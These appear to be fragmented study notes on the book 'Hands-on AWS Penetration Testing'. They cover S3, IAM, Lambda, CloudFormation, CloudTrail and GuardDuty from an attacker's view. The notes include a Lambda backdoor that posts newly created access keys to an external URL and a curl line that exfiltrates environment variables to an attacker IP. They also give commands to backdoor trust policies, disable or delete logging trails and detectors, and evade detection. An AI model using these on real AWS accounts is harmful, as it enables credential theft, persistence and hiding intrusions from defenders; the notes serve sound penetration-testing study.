Hands_on_AWS_Penetration_Testing
Hands_on_AWS_Penetration_Testing
Contact
LinkedIn: https://www.linkedin.com/in/segev-eliezer/
YouTube: https://YouTube.com/@0xd4y
GitHub: https://github.com/0xd4y
Table of Contents
Contact
Table of Contents
Chapter 4: Setting up EC2 Instance
Storage Types Used in EC2 Instances
Elastic Block Storage
EC2 Instance Store
Elastic FileSystem (EFS)
S3
General Purpose SSD Volumes (GP2)
Provisioned IOPS SSD (I01) Volumes
EC2 Firewall Settings
Chapter 6: Elastic Block Stores and Snapshots - Retrieving Deleted Data
EBS Volume Types and Encryption
Chapter 7: Identifying Vulnerable S3 Buckets
S3 Permissions and the Access API
ACPs / ACLs
Bucket Policy
Chapter 8: Exploiting S3 Buckets
Backdooring S3 Buckets for Persistence
Bucket Hijack
Chapter 9: IAM
Roles and Groups
Roles
Groups
API Request Signing
Chapter 10: Privesc, Boto3, and Pacu
Boto3
Chapter 11: Persistence
Backdooring Users
Create Another Access Key Pair
Backdooring Role Trust Relationships
IAM Trust Policy
Adding Backdoor to Trust Policy
Backdooring EC2 Security Groups
Backdooring Lambda Function
Backdooring ECR
Chapter 12: Pentesting Lambda
Event Injection
Lambda Malicious Code
best suited for high-speed and frequent data writes and reads
S3
used by EC2 to store EBS snapshots and instance store-backed AMIs
1 GB to 16 TB
4 GB to 16 TB
Linux AMIs configured to authenticate SSH using key pair authentication rather than a password
1. SSD
high IOPS
2. HDD
encryption performed on data at rest, snapshots created from volume, and all disk I/O
CMK used to encrypt the data is stored in the volume that is attached to the EC2 instance
all EBS volume types support full disk encryption, but not all EC2 instances support encrypted volumes
Memory optimized: cr1.8xlarge, R3, R4, R5, R5d, X1, X1e, and z1d
EC2 instance can simultaneously have encrypted and unencrypted storage volumes
JSON objects
files in a bucket can be public without the bucket being publicly listable
ACPs / ACLs
every S3 bucket has ACL (access control list) attached to it
1. Read - view filenames, size, and last modified time of object. Can download objects that you have access
to
2. Write - read, delete, and upload objects. Can possibly delete objects you do not have permissions to.
3. Read-acp: view ACLs of any bucket or object that you have access to
Bucket Policy
{
"Version": "2008-02-27",
"Statement": [
{
"Sid": "Statement",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::Account-ID:user/kirit"
},
"Action": [
"s3:GetBucketLocation",
"s3:ListBucket",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::kirit-bucket"
]
}
]
}
https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
Chapter 9: IAM
UserID (in this case AIDAJUTNAF4AKIRIATJ6W ) is how the user is referenced in the backend
can enumerate users with the account ID without creating logs in target account
best practice is to specify the resource that the action applies to, rather than doing “Resource”: “*”
"Action": "ec2:*",
"Resource": "*"
optional Condition key - under what conditions specifications in the Statement apply:
1. Reusability
Roles
default lifespan of role API keys ( sts:AssumeRole ) is 1 hour
Trust relationships: specify who can assume the role and under what conditions
Principals can include other IAM users, AWS services, or AWS account
Groups
used to give a set of users the same permissions
a group can hold up to as many users that are allowed in the account
mostly prevents replay attacks (signed request valid for five minutes by default)
Boto3
#!/usr/bin/env python3
import boto3
session = boto3.session.Session(profile_name='Test', region_name='us-
west-2') # gets creates session from profile creds
client = session.client('iam')
good for enumeration but outdated and not reliable for exploitation
best practice is to use SSO with temporary federated access rather than an IAM user with an access key and
secret access key
Backdooring Users
Create Another Access Key Pair
aws iam list-access-keys --user-name <USER_NAME> --profile <PROFILE>
each user has limit of two access key pairs, so create another access key pair
can update trust policy to create relationship between role and personal attacker AWS account
Input
aws iam create-service-linked-role --aws-service-name lex.amazonaws.com --description "My service-linked role to
support Lex”
Output
{
"Role": {
"Path": "/aws-service-role/lex.amazonaws.com/",
"RoleName": "AWSServiceRoleForLexBots",
"RoleId": "AROA1234567890EXAMPLE",
"Arn": "arn:aws:iam::1234567890:role/aws-service-role/lex.amazonaws.com/AWSServiceRoleForLexBots",
"CreateDate": "2019-04-17T20:34:14+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"sts:AssumeRole"
],
"Effect": "Allow",
"Principal": {
"Service": [
"lex.amazonaws.com"
]
}
}
]
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
useful for when IAM role added to EC2 instance profile, and then the instance profile is attached to an EC2
instance
allows for temp creds to be used by EC2 instance to perform role actions
works only if CloudTrail logging is enabled (because the Lambda function backdoor will be configured to
trigger upon an event)
import boto3
from botocore.vendored import requests
def lambda_handler(event,context):
if event['detail']['eventName']=='CreateUser':
client=boto3.client('iam')
try:
response=client.create_access_key(UserName=event['detail']['requestParamete
rs']['userName'])
requests.post('POST_URL',data={"AKId":response['AccessKey']['AccessKeyId'],
"SAK":response['AccessKey']['SecretAccessKey']})
except:
pass
return
Backdooring ECR
if it is possible to log into the container registry, pull a Docker image, and update it in the AWS environment,
then an image can be modified with an attacker’s malware to establish persistence
Event Injection
if RCE can be obtained on the Lambda function, creds can be exfiltrated via environment variables (as
opposed to EC2 where it is in the metadata serice)
read environment variables with env and exfiltrate with curl ( curl -X POST -d `env` <ATTACKER_IP> )
may be able to indirectly invoke a function that is set to automatically trigger upon an event in a different
service
package
ensure the malicious code is wrapped in a try and except to avoid errors from showing up in the logs
it is much better and stealthier to insert malicious code into the function’s used dependencies, rather than to the
function’s code itself
export Lambda function to .zip file, and then reupload it with modified dependencie
Route 53
route 53 is a scalable DNS/domain management service
other than for recon, Route53 is not useful for pentesters (too disruptive)
can provide insight into other networks not hosted within AWS, or can give insight into other services within
VPCs
to get a policy, you can use aws ses get-identity-policies --identity <IDENTITY> --policy-name <POLICY>
example output:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "stmt1242527116212",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::000000000000:user/ExampleAdmin"
},
"Action": "ses:SendEmail",
"Resource": "arn:aws:ses:us-west-2:000000000000:identity/[email protected]"
}
]
}
can update SES identity policy with aws ses put-identity-policy --identity [email protected] --policy-name
<POLICY_NAME> --policy file://modified_policy.json
as long as account not in SES sandbox (and is verified and enabled), you can send emails to any account
outside of the email’s domain
otherwise phishing can only be performed against other emails with the same domain
templates within environment can be found with aws ses list-templates and aws ses get-template --template-anme
<TEMPLATE_NAME>
CloudFormation
Stack Parameters
some sensitive information can show up if NoEcho is not set to true
"Parameters": [
{
"ParameterKey": "KeyName",
"ParameterValue": "MySSHKey"
},
{
"ParameterKey": "DBPassword",
"ParameterValue": "aPassword2!"
},
{
"ParameterKey": "SSHLocation",
"ParameterValue": "0.0.0.0/0"
},
{
"ParameterKey": "DBName",
"ParameterValue": "CustomerDatabase"
},
{
"ParameterKey": "DBUser",
"ParameterValue": "****"
},
{
"ParameterKey": "InstanceType",
"ParameterValue": "t2.small"
}
]
upon being set to true, the parameter value will be censored with * characters
note that DBUser may or may not have a password 4 characters long. Password constraints should be
checked by viewing the template for the stack
can potentially have access keys such as if a template creates an IAM user with an access key pair
this requires that you first disable the stack, then delete a stack which requires a different set of
permissions
To check this you can run aws cloudformation describe-stacks --stack-name <STACK_NAME>
Deleted Stacks
aws cloudformation list-stacks
Stack Exports
exports share output values between stacks without the need to reference them
exported values are also shown under the outputs of the stacks
exports can help give info about target environment and/or the user cases of the stack
aws cloudformation list-exports
shows name and value of each export and the stack that exported it
Stack Templates
aws cloudformation get-template --stack-name <STACK_NAME>
Passed Roles
stacks can be passed with other roles using iam:PassRole
an IAM user with cloudformation:* can escalate privileges by modifying other higher-privileged stacks
stacks with passed roles can be identified if a stack’s ARN has the RoleARN key with the value of an IAM role’s
ARN
role’s permissions can be inferred by its name, via the resources that the stack deployed, and the stack’s
template
aws cloudformation describe-stack-resources --stack-name <STACK_NAME>
updates stack with modified template that can for example perform additional API calls on behalf of the
role’s permissions attached to the stack (essentially a privesc)
it is possible to retrieve the value for NoEcho parameters with just UpdateStack , but this requires updating a
template with our own which would result in the loss of resources that the stack created (because we are
essentially completely replacing the previously used template instead of modifying it)
it may be possible to escalate privileges by logging into the container registry and pulling a docker image
if HasCustomEventSelectors is true then perform the following command to view which events are being logged:
aws cloudtrail get-event-selectors --trail-name <TRAIL_NAME>
make sure the values for LatestDeliveryAttemptTime and LatestDeliveryAttemptSucceeded are the same,
otherwise there may be a problem when CloudTrail is delivering logs to S3
Recon
unlike CloudTrail logs, CloudTrail’s event history is immutable
this way you can see CloudTrail events without needing S3 and KMS (if you do have S3 and KMS
permissions be careful of downloading logs, it may be alarming)
{
"eventVersion": "1.06",
"userIdentity": {
"type": "IAMUser",
"principalId": "AIDARACQ1TW2RMLLAQFTX",
"arn": "arn:aws:iam::000000000000:user/TestUser",
"accountId": "000000000000",
signin.amazonaws.com means the action was performed by the AWS web console
make sure to change your user agent to match the userAgent value in the event history
Bypassing Logging
Using Unsupported Services
API calls to unsupported services do not produce any logs in CloudTrail, including the Event history
API calls to unsupported services can be leveraged to help determine whether a key pair is being used as
a canary token
defenders should refrain from providing permissions to unsupported CloudTrail services unless absolutely
necessary, if so then:
make use of any potential built-in logging within the unsupported service
note this does not show what activity a resource performed within the service, it only shows whether a
resource successfully authenticated to a service and when
Cross-Account Enumeration
User Enumeration
use Pacu to enumerate users and roles (ensure that the creds provided have iam:UpdateAssumeRolePolicy , and
that the creds are owned by your AWS account):
Users
run iam__enum_users --account-id 123456789012 --role-name <ATTACKER_CREATED_ROLE> ,
Roles
run iam__enum_roles --account-id 123456789012 --role-name <ATTACKER_CREATED_ROLE>
this module attempts to assume discovered roles which can be successful in case of a misconfiguration
Disrupting Trails
any of the following methods can be performed with run detetion_disruptions --trails <TRAIL_NAME>@<AWS_REGION>
you will then be prompted to minimize (weaken), disable, or delete the specified trail
disruptions of CloudTrail will likely cause alarms, however it is possible to nevertheless stay under the radar if
GuardDuty or other monitoring services are not implemented
Disabling a Trail
aws cloudtrail stop-logging --name <TRAIL_NAME>
must be run from the same region as the trail to not have an InvalidHomeRegionException error
Deleting Trail:
aws cloudtrail delete-trail --name <TRAIL_NAME>
Deleting S3 Bucket:
delete bucket:
aws s3api delete-bucket --bucket <BUCKET_NAME>
use cloutrail:UpdateTrail to modify a trail’s monitoring configurations, and cause it to only monitor unimportant
events that are unrelated to the specific attack
modify event selectors to prevent the logging of certain types of events (such as by avoiding S3/Lambda
logging by removing those services from the DataResources key in the event selector policy)
Bypassing GuardDuty
GuardDuty can potentially be bypassed if a user typically configures CloudTrail configurations
identify usual activity of compromised user to avoid GuardDuty from being triggered
modify certain logs from S3 bucket (works if log file validation is misconfigured)
note that this activity will still be in CloudTrail’s event history, but CloudTrail’s event history is slow and has
limitations (therefore this allows an attacker to buy some time)
3. DNS logs
DNS logs can only be used if requests are routed through AWS DNS resolvers (default for EC2)
VPC flow logs and CloudTrail event logs do not need to be enabled for GuardDuty to use them
such as in the scenario where one master account has control over the GuardDuty configurations for a
different AWS account
Bypassing Techniques
Distraction
can purposely trigger certain alerts to distract a defender from your real path
false data in the correct format could also be sent to confuse defenders
Disabling Monitoring
not recommended as it causes damage to the environment
Delete detector:
aws guardduty delete-detector --detector-id <DETECTOR_ID>
Whitelisting
IPs in the GuardDuty whitelist will not cause any GuardDuty findings
this means you can perform any API call within the region, and no findings will be generated
requires iam:PutRolePolicy
Updating a Whitelist
1. Enumerate IPs in trusted list: aws guardduty get-ip-set --detector-id <DETECTOR_ID> --ip-set-id <IP_SET_ID>
returns location of public S3 bucket used for whitelisting which you can download
save the location so that GuardDuty configurations can be restored after the engagement
2. Go through steps 1-3 in “Creating a Whitelist for a Detector”, and ensure the contents of the S3 whitelist file
also contain the IPs of the downloaded trusted list.
https://s3.amazonaws.com/<ATTACKER_BUCKET>/ip-whitelist.txt --activate
caused when credentials exclusively for an EC2 instance are being used from an external IP address
OLD: note that external IP address is referring to an address outside all of EC2, not necessarily the EC2
instance that the IAM instance profile is attached to ← patched since January 2022 due to
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
Since January 2022: Bypass is possible by creating an EC2 instance in the attacker AWS account and issuing
API calls from the instance via VPC endpoints in a private subnet (see SneakyEndpoints)
Other Bypasses
1. Refrain from using Tor
4. Get reverse shells from usual ports such as 80 or 443 to bypass Behavior:EC2/NetworkPortUnusual
7. Do not perform DNS exfiltration from a compromised EC2 instance to avoid Trojan:EC2/DNSDataExfiltration
this still could potentially still be bypassed even with DNS exfiltration via non-AWS DNS resolvers
always make sure to delete resources that were created in the environment to avoid charging the client and
creating billing alerts that could potentially get you caught
Unauthenticated Reconnaissance
perform API call on a service that is not logged by CloudTrail to get the target AWS account number
Pacu
1. Enumerate users with iam__enum_users
Post-Exploitation
look for as many misconfigurations as possible
EC2
look for instances with public IP addresses
EBS
look for snapshots and volumes
1. Create a snapshot of the EBS volume and share that snapshot with the attacker account.
a. The alternative to sharing the snapshot with a cross-account (which is typically audited and flagged) is
performing all the steps in the compromised account. However, this runs the risk of getting blocked before
anything important is found.
Lambda
if possible, download the source code of all Lambda functions and run Bandit if it is Python
RDS
gain access to RDS instance data by copying its contents to a newly created RDS instance
( rds__explore_snapshots ):
1. Create snapshot of targeted instance and use the snapshot with an instance you create.
a. Note this uses the ModifyDbInstance API (the same call for modifying networking settings, monitoring
settings, etc.) and is not a noisy event.
3. Connect to the database and exfiltrate the data (maybe use mysqldump ).
Logging Is logging enabled for X, and what is being done with the logs?
Tools
https://github.com/RhinoSecurityLabs/pacu
like linPEAS and winPEAS, except it’s for AWS and automates exploitation
https://github.com/Skyscanner/cfripper
https://github.com/stelligent/cfn_nag
cfripper and cfn_nag can be run against CloudFormation templates to identify insecure configurations
https://github.com/anchore/anchore-engine
https://github.com/coreos/clair
https://github.com/Frichetten/SneakyEndpoints
VPC endpoints with EC2 instance for performing API calls with exfiltrated EC2 credentials without triggering
GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
https://github.com/nccgroup/Scout2
https://github.com/Netflix/security_monkey